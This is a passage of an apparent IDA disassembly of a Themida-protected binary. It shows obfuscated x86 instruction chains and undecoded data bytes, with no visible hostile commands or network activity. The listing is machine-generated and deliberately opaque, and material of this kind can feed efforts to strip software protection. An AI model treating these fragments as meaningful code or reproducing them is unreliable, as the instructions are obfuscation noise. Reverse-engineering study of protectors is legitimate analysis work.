		pop	esi
		jmp	loc_5723CB
; ---------------------------------------------------------------------------


loc_5639E7:				; CODE XREF: Themida_:0056568Ej
		add	esp, 4
		add	esp, 4
		add	eax, 4
		push	edi
		mov	edi, 4
		jmp	loc_56A5A9
; ---------------------------------------------------------------------------
		db 0F7h, 0D8h, 5
		dd 155B7693h, 2348C181h, 0C1016770h, 2348E981h,	0E9586770h
		dd 57CFh, 0E4F2805Bh, 0CA93E9h,	243C8B00h, 2B8CE9h, 6023BE00h
		dd 0F001186Fh, 0BBB2D5Eh, 0AFE95A47h, 5800010Bh, 8158C529h
		dd 3536E6EAh, 81EA0142h, 3536E6C2h, 0E9555D42h,	21D6h
		dd 0FFC546E9h, 0E9C789FFh, 217Fh, 0E39CE95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563A66:				; CODE XREF: Themida_:005650C4j
		shl	esi, 3
		jmp	loc_56AFF2
; ---------------------------------------------------------------------------
		dw 3C87h
		dd 3C895C24h, 2474FF24h, 3EE95F04h, 830000DBh, 0C8904ECh
		dd 4FA1E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563A8A:				; CODE XREF: Themida_:0056AC24j
		add	edi, 4
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		neg	edi
		add	edi, 7C575615h
		jmp	loc_569E0A
; ---------------------------------------------------------------------------
		dd 0BA696C2Dh, 4FDB053Bh, 1C8B54C6h, 4C48124h, 5000000h
		dd 14985F36h, 8B2434FFh, 0C481240Ch, 4,	6417E9h
		db 0
; ---------------------------------------------------------------------------


loc_563AD9:				; CODE XREF: Themida_:005722C3j
		pop	esi
		jmp	loc_56F8BC
; ---------------------------------------------------------------------------
byte_563ADF	db 81h			; DATA XREF: Themida_:0055FDE8o
		dd 4ECh, 70266800h, 1C890000h, 0D6AFE924h, 15A0000h, 0DC3DE9E8h
		dd 0E9580000h, 0A325h
; ---------------------------------------------------------------------------


loc_563B00:				; CODE XREF: Themida_:00570229j
		mov	ebx, 4
		and	ecx, ebx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 4
		push	edx
		mov	edx, 36B230CBh
		jmp	loc_574751
; ---------------------------------------------------------------------------
aSnn		db '\éN',0
		align 4
		dd 8124048Fh, 42404h, 34FF0000h, 0C6D8E924h, 8F5A0000h
		dd 665C2404h, 0E9240C8Bh, 485Ch, 0E902EDC0h, 4D34h
; ---------------------------------------------------------------------------


loc_563B6C:				; CODE XREF: Themida_:0056877Bj
		mov	[esp], edi
		push	esp
		jmp	loc_56F4B3
; ---------------------------------------------------------------------------
		db 81h,	0E9h, 4
		dd 87000000h, 248B240Ch, 24248924h, 4240481h, 59000000h
		dd 4C181h, 0BF570000h, 27125A81h, 1016E9h, 915B900h, 0CB0156E4h
		dd 2AD1E959h, 0B9510000h, 1667D31Bh, 5259CD29h,	0D389EA89h
		dd 0E9435D5Ah, 1E89h, 4BBh, 0E9D90100h,	278h, 8904EC83h
		dd 4BD242Ch, 1000000h, 242C8BE9h, 8466E9h, 54E95700h, 810000C9h
		dd 4C7h, 4EF8100h, 33000000h, 73E9243Ch, 83000010h, 0D4E904C4h
		dd 8B0000C0h, 9BE9243Ch
		db 89h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563C0B:				; CODE XREF: Themida_:00562248j
		pop	ebp
		jmp	loc_56635B
; ---------------------------------------------------------------------------
		db 0BBh, 8Ch, 42h
		dd 0C381572Ch, 6A341484h, 1C381h, 44E90000h
		db 0CFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_563C27:				; CODE XREF: Themida_:00567C53j
		add	ecx, edi
		jmp	loc_573265
; ---------------------------------------------------------------------------
		dw 4158h
		dd 21DCE981h, 0E981628Bh, 7F164B63h, 0FBF9F181h, 0CB2941A7h
		dd 81240C8Bh, 4C4h, 9FEB8100h, 68030E58h, 4FEDh, 0E9240489h
		dd 0FFFFC33Fh, 6440C581h, 0C5010CB5h, 1012BE9h
		db 0
; ---------------------------------------------------------------------------


loc_563C6D:				; CODE XREF: Themida_:0056DFF4j
		pop	esp
		push	edx
		mov	edx, 1
		sub	ecx, 6C272A13h
		jmp	loc_56DDAE
; ---------------------------------------------------------------------------


loc_563C7F:				; CODE XREF: Themida_:0056E531j
		sub	ch, 48h
		add	al, ch
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ecx
		jmp	loc_5662F0
; ---------------------------------------------------------------------------
		dd 4C3815Bh, 83000000h,	1C8704EBh, 4895C24h, 0B76CE924h
		dd 0FF560000h, 5E042474h, 5C24048Fh, 428BE9h, 52BF5700h
		dd 811CC046h, 4F35CCC7h, 0CF814F47h, 1C3E4A49h,	0B5EF8147h
		dd 14C0D43h, 68E95FFEh,	52000028h, 714BE9h
		db 0
; ---------------------------------------------------------------------------


loc_563CE1:				; CODE XREF: Themida_:0056EF1Dj
		add	ebp, eax
		add	ebp, 0D9861ADh
		sub	ebp, 681E6541h
		jmp	loc_563837
; ---------------------------------------------------------------------------
		dd 104C483h, 90EF81CFh,	0FF115D0Bh, 56592434h, 0C681E689h
		dd 4, 4C681h, 34870000h, 3C335C24h, 243C3124h, 8B243C33h
		dd 8AE92424h, 8B000040h, 0C483242Ch, 0F3F58104h, 895C317Dh
		dd 242C8BEAh, 0FFF963E9h, 4BFFFh, 0F8010000h, 2B9515Fh
		dd 1000000h, 0EC6859C8h, 8900001Ch, 74FF2404h, 34FF0424h
		dd 2434FF24h, 4EC8158h,	89000000h, 0E0892404h, 1042E9h
		dd 4C48100h, 81000000h,	152ADBC2h, 81FA0112h, 152ADBEAh
		dd 0BD555F12h, 5DB51FD6h, 0FFCECCE9h, 7AE981FFh, 4130AB44h
		dd 392E181h, 0E1E96A61h, 8100005Bh, 42404h, 0E95F0000h
		dd 154Dh, 8246C81h, 6D49345Ch, 8244C29h, 0B4DDE9h, 89CB2900h
		dd 84E95BD9h, 55000029h, 5F3394BDh, 5DE9213Ch, 231168h
		dd 24348900h, 89238568h, 0F1215E4Ch, 7E1C15Eh, 4EC81h
		dd 1C890000h, 3171E924h, 0EA810000h, 7D5B0B81h,	8FBB5358h
		dd 0C14F3A71h, 1DE903EBh, 0F7000013h, 0DED935D0h, 0C731089Eh
		dd 903DE9h
		db 0
; ---------------------------------------------------------------------------


loc_563E19:				; CODE XREF: Themida_:00570FB2j
		mov	ebx, 18E40CDDh
		jmp	loc_571875
; ---------------------------------------------------------------------------


loc_563E23:				; CODE XREF: Themida_:0056E165j
		mov	ebx, 5FD00626h
		xor	ebx, 11D92503h
		neg	ebx
		add	ebx, 33F5F73h
		add	ebx, 19890397h
		shr	ebx, 3
		jmp	loc_57259C
; ---------------------------------------------------------------------------
		dd 74FF515Bh, 0E9590424h, 99DDh, 0ECE9C601h, 810000CFh
		dd 6C812BEEh, 0E5EE9CDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563E62:				; CODE XREF: Themida_:00560E30j
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	6E63h
		mov	[esp], eax
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------


loc_563E76:				; CODE XREF: Themida_:0056644Cj
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	7B48h
		mov	[esp], edx
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		jmp	loc_573CF7
; ---------------------------------------------------------------------------
		dw 0F268h
		dd 8B246E0Dh, 0C483242Ch, 5EDC104h, 3FB6CD81h, 0B9515193h
		dd 4FBD65BFh, 0BF57h, 0CF290000h, 815FF987h, 0A021A7F1h
		dd 0ACC98115h, 813E996Ch, 974486F1h, 0C6C18151h, 8151FC4Ch
		dd 0C86BA3F1h, 59CD2975h, 24348155h, 4E1B39F2h,	0F2F7815Fh
		dd 5D4E1B39h, 815FFB29h, 0BC15E0C3h, 5BDF89B8h,	875FFE01h
		dd 248B2434h, 242CD324h, 0C081E99Ch, 0C581FFFFh, 0BA4989CCh
		dd 815DEF01h, 4C7h, 243C8700h, 6A6D685Ch, 0C890000h, 962A6824h
		dd 0E9595C38h, 1910h
; ---------------------------------------------------------------------------


loc_563F44:				; CODE XREF: Themida_:00561079j
		mov	ecx, [esp]
		add	esp, 4
		push	71FBh
		mov	[esp], eax
		mov	eax, 4
		add	ebx, eax
		pop	eax
		push	6C5Eh
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_570BFB
; ---------------------------------------------------------------------------


loc_563F70:				; CODE XREF: Themida_:00565844j
		push	3A7Ah
		mov	[esp], ebx
		mov	ebx, 4
		add	edx, ebx
		mov	ebx, [esp]
		push	edi
		jmp	loc_566D34
; ---------------------------------------------------------------------------


loc_563F88:				; CODE XREF: Themida_:0056ABF5j
		xchg	ebp, [esp]
		mov	esp, [esp]
		and	ebx, edi
		jmp	loc_572D71
; ---------------------------------------------------------------------------
		db 0F7h, 0D3h, 81h
		dd 43354DE3h, 3A5DE904h
		db 2 dup(0)
word_563FA2	dw 8B66h		; DATA XREF: Themida_:0055FD10o
		dd 89562404h, 4BB53E6h,	0E9000000h, 0FFFFEDA1h
; ---------------------------------------------------------------------------


loc_563FB4:				; CODE XREF: Themida_:00567E2Cj
		shl	edx, 1
		push	dword ptr [edi+24h]
		jmp	loc_5727AC
; ---------------------------------------------------------------------------
		dw 38B9h
		dd 0C155885Bh, 0D1F702E9h, 0E981D1F7h, 0BAACB20Fh, 8159CA09h
		dd 0DE3DF7E2h, 0E9DAF746h, 4836h, 0F4CF781h, 0FA294B53h
		dd 29BB535Fh, 10E2D79h,	0EA815BDAh, 12FF2468h, 0C281CA01h
		dd 12FF2468h, 7929EA81h, 0C2810E2Dh, 1E9A0D33h,	240AC281h
		dd 19E95565h
		db 0F4h, 2 dup(0)
byte_564017	db 66h			; DATA XREF: Themida_:0055FE18o
		dd 0E924048Bh, 7557h, 4C77BD55h, 0E9896EB3h, 81242C8Bh
		dd 4C4h, 59C83100h, 6AE9C789h
		db 0A1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56403B:				; CODE XREF: Themida_:00570FF0j
		sub	edx, eax
		pop	eax
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_56E9B7
; ---------------------------------------------------------------------------
		dw 0F001h
		dd offset dword_457444+35DA5h
		dd 2BE98100h, 2DC916E5h, 2883079Bh, 9B05C829h, 59288307h
		dd 0EFEBE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56406A:				; CODE XREF: Themida_:00572A23j
		xor	bh, ah
		pop	eax
		and	dl, bh
		pop	ebx
		add	dl, 88h
		jmp	loc_56C42E
; ---------------------------------------------------------------------------
		dd 315FFA89h, 0A599E9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564082:				; CODE XREF: Themida_:005736BAj
		mov	[esp], ebx
		push	eax
		jmp	loc_571233
; ---------------------------------------------------------------------------


loc_56408B:				; CODE XREF: Themida_:005666B5j
		add	edx, 73467F9Dh
		add	edx, ebx
		sub	edx, 73467F9Dh
		pop	ebx
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 6B496CACh
		shr	edi, 5
		push	3A40h
		mov	[esp], ebp
		mov	ebp, 141938FDh
		sub	edi, ebp
		pop	ebp
		shr	edi, 7
		shl	edi, 4
		xor	edi, 0A9FEE349h
		add	edx, edi
		pop	edi
		add	ebp, 3E323620h
		jmp	loc_569CE4
; ---------------------------------------------------------------------------


loc_5640D6:				; CODE XREF: Themida_:0056FB2Fj
		neg	edx
		neg	edx
		sub	edx, 0FFFFFFFFh
		add	edx, 0DE76CF77h
		add	esi, edx
		pop	edx
		jmp	loc_567FAC
; ---------------------------------------------------------------------------
aUsq		db '^Uéï½',0
		align 2


loc_5640F2:				; CODE XREF: Themida_:00560AF2j
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------
		db 89h
		dd 39668E6h, 2C890000h,	4BD24h,	97E90000h
		db 0A5h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56410B:				; CODE XREF: Themida_:00573602j
		mov	eax, esp
		push	edx
		jmp	loc_564CDA
; ---------------------------------------------------------------------------


loc_564113:				; CODE XREF: Themida_:00568838j
		shr	ebp, 4
		add	ebp, 45185790h
		sub	ebx, ebp
		pop	ebp
		mov	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edx, edi
		pop	edi
		dec	edx
		push	eax
		jmp	loc_57255B
; ---------------------------------------------------------------------------
aLSm@		db '‹,$éŒ@',0
		align 4


loc_56413C:				; CODE XREF: Themida_:005704DAj
		add	eax, 538F00CCh
		push	ecx
		mov	ecx, 1ECE33D2h
		add	eax, ecx
		push	dword ptr [esp]
		jmp	loc_5743C8
; ---------------------------------------------------------------------------
aAsm		db 'A錾',0
		db 0
; ---------------------------------------------------------------------------


loc_564157:				; CODE XREF: Themida_:00564EB3j
		add	edi, 4287A2Dh
		pop	ebp
		jmp	loc_571CDB
; ---------------------------------------------------------------------------


loc_564163:				; CODE XREF: Themida_:00564781j
		and	eax, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	edx
		mov	edx, 3A0C121Ah
		push	esi
		mov	esi, 64434909h
		jmp	loc_56C4D7
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 368B68h, 24348900h, 4F3BBF57h, 0C7812906h, 0D6F9B0C9h
		dd 0E95FFE89h, 9B1Ah
; ---------------------------------------------------------------------------


loc_5641A4:				; CODE XREF: Themida_:005609B0j
		pop	ecx
		add	esp, 4
		push	1491h
		mov	[esp], ecx
		push	1870h
		mov	[esp], edx
		push	ecx
		mov	cl, bh
		mov	dh, cl
		jmp	loc_560DE1
; ---------------------------------------------------------------------------
aRpsj_		db 'RPé†_',0
		align 4
		dd 80ADF780h, 0C7800AF7h, 6EE78061h, 808CF780h,	0F90049F7h
		dd 6CA0E9h, 80C30000h, 5266E3C3h, 0C0B9B050h, 0C0FE03E0h
		dd 7343E9h, 81DBF700h, 4E521AEBh, 0EB834B54h, 0AFD1E901h
		dd 18680000h, 89000048h, 4BD242Ch, 1000000h, 0CD93E9EFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	loc_56D893
; ---------------------------------------------------------------------------
		db 28h,	0DEh, 5Bh
		dd 280CEC80h, 0CC480F4h, 0C4EAE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56424E:				; CODE XREF: Themida_:00573D09j
		add	ecx, 348F715Dh
		jmp	loc_56E34E
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 51h
		dd 2E0C6AB9h, 81D1F70Ah, 0F20EAFE1h, 1DBE939h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56426E:				; CODE XREF: Themida_:00564A6Cj
		mov	eax, 4
		sub	dword ptr [esp+4], 7B562AD3h
		add	[esp+4], eax
		add	dword ptr [esp+4], 7B562AD3h
		pop	eax
		pop	ebx
		jmp	loc_57051A
; ---------------------------------------------------------------------------
		dw 5866h
		dd 1C8BFE30h, 4EC8124h,	89000000h, 0E6892434h, 4C681h
		dd 0C6830000h, 4E0FE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5642AE:				; CODE XREF: Themida_:0056A603j
		xchg	edx, [esp]
		jmp	loc_571980
; ---------------------------------------------------------------------------


loc_5642B6:				; CODE XREF: Themida_:005749D9j
		add	ebp, 4
		push	eax
		mov	eax, 4
		jmp	loc_5690E0
; ---------------------------------------------------------------------------
		db 55h
		dd 4831BB53h, 0DD8904C9h, 0FFC9B6E9h, 6559BEFFh, 0C78124B0h
		dd 18BF2857h, 0EF81F701h, 18BF2857h, 8324348Bh,	0BA5204C4h
		dd 8289A83Eh, 895AD729h, 243C8BF8h, 0FFDC9BE9h,	0DFE956FFh
		dd 81000094h, 8D2818F6h, 0BF574E25h, 41E0A2B5h,	815FFE01h
		dd 232158C5h, 2ED8127h,	81534F4Ah, 6198BC5h, 81F5010Bh
		dd 6198BEDh, 0F3E0E90Bh, 895C0000h, 0C6682404h,	0E9000044h
		dd 7F6Dh, 5C240487h, 205h, 24048700h, 2424D25Ch, 0BC45E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56435A:				; CODE XREF: Themida_:00574D6Dj
		sub	ebp, 9EE41CBh
		jmp	loc_56D76C
; ---------------------------------------------------------------------------
		db 0BFh, 0Fh, 4Bh
		dd 51E9650Ch, 80000034h, 0EB80A9C3h, 5BD82865h,	9E9F828h
		dd 0F70000CDh, 182DD0h,	23506B7h, 298CA1A9h, 0DDE958C5h
		dd 56000086h, 0C681E689h, 4, 4C681h, 34870000h,	9EE95C24h
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5643AB:				; CODE XREF: Themida_:0056B4CDj
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, 76676289h
		jmp	loc_571F22
; ---------------------------------------------------------------------------
		db 5Ch
		dd 582434FFh, 26CDE9h, 35E95B00h, 8100003Bh, 4C7h, 243C8700h
		dd 0DADCE95Ch, 22BFFFFFh, 11A9558h, 5E95FF8h
		db 74h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5643EB:				; CODE XREF: Themida_:00568F76j
		push	ebp
		jmp	loc_56AD8E
; ---------------------------------------------------------------------------
		db 5Ch,	81h, 0C1h
		dd 751A62D7h, 0D2E9F101h
		db 4Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5643FF:				; CODE XREF: Themida_:0057196Fj
		mov	esp, [esp]
		push	2413h
		mov	[esp], edx
		push	ebp
		mov	ebp, 41E74596h
		shl	ebp, 7
		push	5306h
		mov	[esp], esi
		mov	esi, 7AE02531h
		xchg	eax, esi
		not	eax
		xchg	eax, esi
		or	esi, 0F121DCh
		xor	esi, 0D873A913h
		push	ebp
		mov	ebp, 1FB0FAAh
		or	ebp, 63190F47h
		jmp	loc_5727E6
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0A987E9h, 9C18100h, 815FCE23h, 9E258AE9h, 59CA0191h
		dd 4C281h, 14870000h, 0CFE95C24h
		db 0C0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564467:				; CODE XREF: Themida_:00560C86j
		push	edx
		push	ebp
		push	77F03990h
		pop	ebp
		not	ebp
		neg	ebp
		jmp	loc_56912E
; ---------------------------------------------------------------------------
		dd 0E991D0F7h, 167Eh
; ---------------------------------------------------------------------------


loc_564480:				; CODE XREF: Themida_:0057326Bj
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_56A5FA
; ---------------------------------------------------------------------------
		dd 31241C33h, 1C33241Ch, 9E6EE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5644A2:				; CODE XREF: Themida_:0056D77Ej
		add	edx, 4
		jmp	loc_56E93C
; ---------------------------------------------------------------------------


loc_5644AA:				; CODE XREF: Themida_:00564E17j
		mov	ecx, 1CFB366Dh
		xor	ebx, ecx
		jmp	loc_5737B9
; ---------------------------------------------------------------------------
aIJ		db '‰,$½J',0
		dd 0B1E940F4h
		db 0DCh, 2 dup(0FFh)
byte_5644C3	db 8Bh			; DATA XREF: Themida_:0055FD60o
		dd 1C68240Ch, 0E9000023h, 4AC7h, 81240C8Bh, 4C4h, 24048F00h
		dd 0F3F1E9h, 4C18100h, 50000000h, 250DFEB8h, 0F935480Eh
		dd 10E250Dh, 0C8758C1h,	0A0E95C24h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5644FF:				; CODE XREF: Themida_:0056A6ABj
		pop	ebp
		pop	esi
		push	edi
		jmp	loc_56AE9E
; ---------------------------------------------------------------------------


loc_564507:				; CODE XREF: Themida_:0057012Aj
		add	eax, 2
		xchg	eax, [esp]
		jmp	loc_56F6B2
; ---------------------------------------------------------------------------
		dw 4C29h
		dd 0E9590424h, 0FFFFBA83h, 4246C81h, 5EDC7FDCh,	81241C8Bh
		dd 4C4h, 6494E900h, 0D400000h, 2C414068h, 0F4EF3548h, 0C101BF6Fh
		dd 0D581E9h
		db 0
byte_564545	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055FCCCo
		db '$h³',0Dh,0
		align 2
		dw 1489h
aSA		db '$é',27h,'í',0
		align 2
		dw 79BBh
		dd 29BACC13h, 0D82959CBh, 8D8E95Bh
		db 1, 0
; ---------------------------------------------------------------------------


loc_564566:				; CODE XREF: Themida_:00565A44j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		or	eax, 32EC43BCh
		not	eax
		jmp	loc_56CB8C
; ---------------------------------------------------------------------------


loc_564582:				; CODE XREF: Themida_:0056647Fj
		add	edx, 4
		push	edi
		push	edx
		push	ebx
		mov	ebx, 6C8316E0h
		jmp	loc_5708A7
; ---------------------------------------------------------------------------
aBQZS		db 'ÁqÏZµé$[',0
		align 10h
		dd 50D1015Ah, 1250BB53h, 0C3813E5Eh, 1,	0EB81E3D1h, 7DED138Dh
		dd 0AF6AEB81h, 0D889A6A2h, 4449E9h, 0EA815A00h,	57472D9Fh
		dd 5AD68959h, 24FFE95Dh, 0F660000h, 55E9CCB6h, 33FFFFE4h
		dd 0A7E92404h, 0B90000CDh, 62BF4C29h, 815EF129h, 0FFFFFFC1h
		dd 0FF9BE9FFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5645FA:				; CODE XREF: Themida_:0056E876j
		push	3684h
		mov	[esp], edi
		push	0CBBD96D4h
		jmp	loc_56D5C7
; ---------------------------------------------------------------------------
		dd 240C8B66h, 3E0FE9h, 4C6FB900h, 0E1C14F29h, 0CEF18107h
		dd 490D9458h, 37D2E981h, 6BE943ACh, 58000101h, 8704C183h
		dd 9EE9240Ch
		db 50h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56463B:				; CODE XREF: Themida_:00568ED0j
		xor	ecx, 1E04972h
		jmp	loc_566271
; ---------------------------------------------------------------------------
		dw 1487h
aSap		db '$\éíp',0
		dw 0BF00h
		dd 44AB068Eh, 0FFD0DAE9h, 24248BFFh, 68242489h,	6A5Ah
		dd 0BE243489h, 4, 4247401h, 2434FF5Eh, 4701E9h
		db 0
; ---------------------------------------------------------------------------


loc_564679:				; CODE XREF: Themida_:0056CE51j
		mov	esi, esp
		push	ebx
		mov	ebx, 5FA550FDh
		jmp	loc_56B599
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0C865E9h,	242C8900h, 0D3E8E9h, 5DA4B900h,	0D9F72288h
		dd 0FDD2E991h, 585FFFFFh, 5105E2C1h, 5C1244B9h,	8BEE9E8h
		dd 0EA810000h, 12FACDDCh, 0BFF4E9h, 5AD02900h, 158C389h
		dd 0D36CE9DDh, 4BD0000h, 5000000h, 0B470314h, 142DE801h
		dd 0E90B4703h, 536Eh, 4C781h, 3C870000h, 0C0835C24h, 24043304h
		dd 33240431h, 0FF5C2404h, 0B89DE930h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564702:				; CODE XREF: Themida_:0056D929j
		neg	eax
		add	eax, 0B81F5B41h
		xor	edx, eax
		pop	eax
		add	ebp, 15A50815h
		sub	ebp, edx
		sub	ebp, 15A50815h
		pop	edx
		or	ebp, 68B76A6Fh
		sub	ebp, 7FBDFF6Fh
		and	eax, ebp
		jmp	loc_571EE1
; ---------------------------------------------------------------------------
		dw 0F581h
		dd 9F16EFB0h, 0E95DEA01h, 0FFFFEABCh, 9E311AB9h, 22E1E97Bh
		db 2 dup(0)
word_564746	dw 81ACh		; DATA XREF: Themida_:0055FEB4o
		dd 4ECh, 240C8900h, 0E1C053B1h,	50E9D002h, 0CF88FC88h
		dd 79ABE9h, 6E8C100h, 6807E0C1h, 0
		dd 8405E9h
		db 0
; ---------------------------------------------------------------------------


loc_564771:				; CODE XREF: Themida_:0057390Cj
		add	esp, 4
		push	5499h
		mov	[esp], esi
		mov	esi, 400h
		jmp	loc_564163
; ---------------------------------------------------------------------------


loc_564786:				; CODE XREF: Themida_:00569DD9j
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5734C1
; ---------------------------------------------------------------------------
		dd 56B8505Bh, 1167A2Ch,	0FD2958C5h, 24DEE9h, 0CAF18100h
		dd 3160212Bh, 0E95659CFh, 0FFFFCC6Ah, 555EF131h, 0CB84DDBDh
		dd 5DE90187h, 2D95ED81h, 0CD015752h, 2D95C581h,	0E9595752h
		dd 0C539h, 8F180h, 0FA0859CFh, 71F2805Bh, 0FFC4D9E9h, 242489FFh
		dd 50DE955h, 0E9890000h, 0FD68525Dh, 5A76AD46h,	8780E9h
		dd 241C8900h, 0C3815B54h, 4, 4CAD68h, 24348900h, 96B95157h
		dd 8110834Dh, 0B27041C9h, 81D1F759h, 4C822CF1h,	59CF89A6h
		dd 815FFE89h, 3C1DC4EBh, 0E9F3012Dh, 6293h, 822E75B9h
		dd 3A2BE948h, 0BE560000h, 53EC48E1h, 277DF681h,	0EC815EE0h
		dd 4, 0B9240C89h, 68FD001Ah, 8670E949h,	40680000h, 5F65B80Eh
		dd 52E0B850h, 1E2D580Eh, 2D218302h, 73C5500h, 3B4C2625h
		dd 22242D25h, 0CD05E2C5h, 0C12A9468h, 0E0C103E8h, 0E9D0F706h
		dd 0A281h, 0D9E9515Ch, 8100000Eh, 2ECh,	4896600h, 2806B024h
		dd 0E95866C1h, 0ACA3h, 2F9168h,	0A647E900h, 0C330000h
		db 24h,	5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_56EA2E
; ---------------------------------------------------------------------------
		dw 0E955h
		dd 1E3Ah, 4246C81h, 44145098h, 4247429h, 4244481h, 44145098h
		dd 2404815Eh, 5248226Bh, 81240429h, 226B242Ch, 57535248h
		dd 3080B951h, 0E98123B7h, 6DE3A1h, 0F650E9h, 24048900h
		dd 4B8h, 24440100h, 2434FF04h, 0FFDC28E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564919:				; CODE XREF: Themida_:00564E24j
		sub	esi, 4F1B41C6h
		pop	ebx
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		sub	bl, 5Fh
		xor	al, bl
		pop	ebx
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		push	edi
		mov	edi, esp
		push	edx
		mov	edx, 0A8857EEh
		neg	edx
		neg	edx
		push	edi
		mov	edi, 63FD4D87h
		jmp	loc_565EB9
; ---------------------------------------------------------------------------


loc_564953:				; CODE XREF: Themida_:00565026j
		add	eax, 4
		push	edi
		jmp	loc_56F91E
; ---------------------------------------------------------------------------


loc_56495E:				; CODE XREF: Themida_:00571DECj
		push	ecx
		sub	dword ptr [esp], 780803FBh
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	417Bh
		mov	[esp], edi
		push	esp
		pop	edi
		push	ebp
		mov	ebp, 2ECE7B60h
		or	ebp, 363D0377h
		push	edi
		mov	edi, 0FFFFFFFFh
		sub	ebp, edi
		pop	edi
		sub	ebp, 1
		shr	ebp, 7
		dec	ebp
		push	eax
		mov	eax, 4D197352h
		sub	eax, 0DE75815h
		sub	eax, 404E6C4Dh
		shr	eax, 3
		xor	eax, 28183269h
		xor	eax, 0C84646B8h
		jmp	loc_5612BA
; ---------------------------------------------------------------------------
		dw 3431h
		dd 24343324h, 6856535Ch, 338D7560h, 8124348Bh, 4C4h, 0ADF68100h
		dd 0C1434871h, 0F68107EEh, 0AFBE536h, 0C35EE9h,	55CB8700h
		dd 7E1130BDh, 15ED815Dh, 816BDE21h, 785C27F5h, 3EDC148h
		dd 8599E956h, 0C6830000h, 0B4B5E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564A0A:				; CODE XREF: Themida_:0056A000j
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5731F9
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8951242Ch, 4C181E1h,	81000000h, 4C1h, 240C8700h, 0FFF111E9h
		dd 80F100FFh, 0E95AC7C1h, 0FFFFC458h, 5DE9F701h, 0B70000CAh
		dd 2AEF8007h, 0D9F4E9h
		db 0
; ---------------------------------------------------------------------------


loc_564A49:				; CODE XREF: Themida_:0056FB07j
		mov	[esp], edx
		mov	edx, 748E6EE8h
		add	edx, 231966C3h
		add	edx, 72F409CEh
		jmp	loc_56FF6E
; ---------------------------------------------------------------------------


loc_564A62:				; CODE XREF: Themida_:0056CE25j
		pop	esp
		jmp	loc_56CDFE
; ---------------------------------------------------------------------------


loc_564A68:				; CODE XREF: Themida_:005747DDj
		mov	[esp], esp
		push	eax
		jmp	loc_56426E
; ---------------------------------------------------------------------------


loc_564A71:				; CODE XREF: Themida_:00572AE1j
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		push	319Bh
		mov	[esp], ecx
		push	744Fh
		mov	[esp], esi
		mov	esi, 76446D97h
